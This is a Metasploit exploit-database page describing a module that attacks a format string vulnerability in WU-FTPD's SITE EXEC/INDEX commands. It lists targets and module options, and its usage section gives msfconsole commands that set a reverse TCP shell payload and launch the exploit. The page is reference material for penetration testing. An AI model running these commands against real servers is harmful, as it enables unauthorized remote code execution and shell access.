WU-FTPD SITE EXEC/INDEX Format String Vulnerability | Metasploit Exploit Database (DB)

WU-FTPD SITE EXEC/INDEX Format String Vulnerability

This module exploits a format string vulnerability in versions of the Washington University FTP server older than 2.6.1. By executing specially crafted SITE EXEC or SITE INDEX commands containing format specifiers, an attacker can corrupt memory and execute arbitrary code.

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Exploit Rank

  • Great

Exploit Authors

  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic Targeting (default)
  • 1 - Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)
  • 2 - RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)
  • 3 - Debug

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/multi/ftp/wuftpd_site_exec_format
msf exploit(wuftpd_site_exec_format) > show payloads
msf exploit(wuftpd_site_exec_format) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(wuftpd_site_exec_format) > set LHOST [MY IP ADDRESS]
msf exploit(wuftpd_site_exec_format) > set RHOST [TARGET IP]
msf exploit(wuftpd_site_exec_format) > exploit


Exploit Module Options

FTPPASS The password for the specified username (default: mozilla@example.com)
FTPUSER The username to authenticate as (default: anonymous)
RHOST The target address
RPORT The target port (default: 21)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
FTPDEBUG Whether or not to print verbose debug statements
FTPTimeout The number of seconds to wait for a reply from an FTP command
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)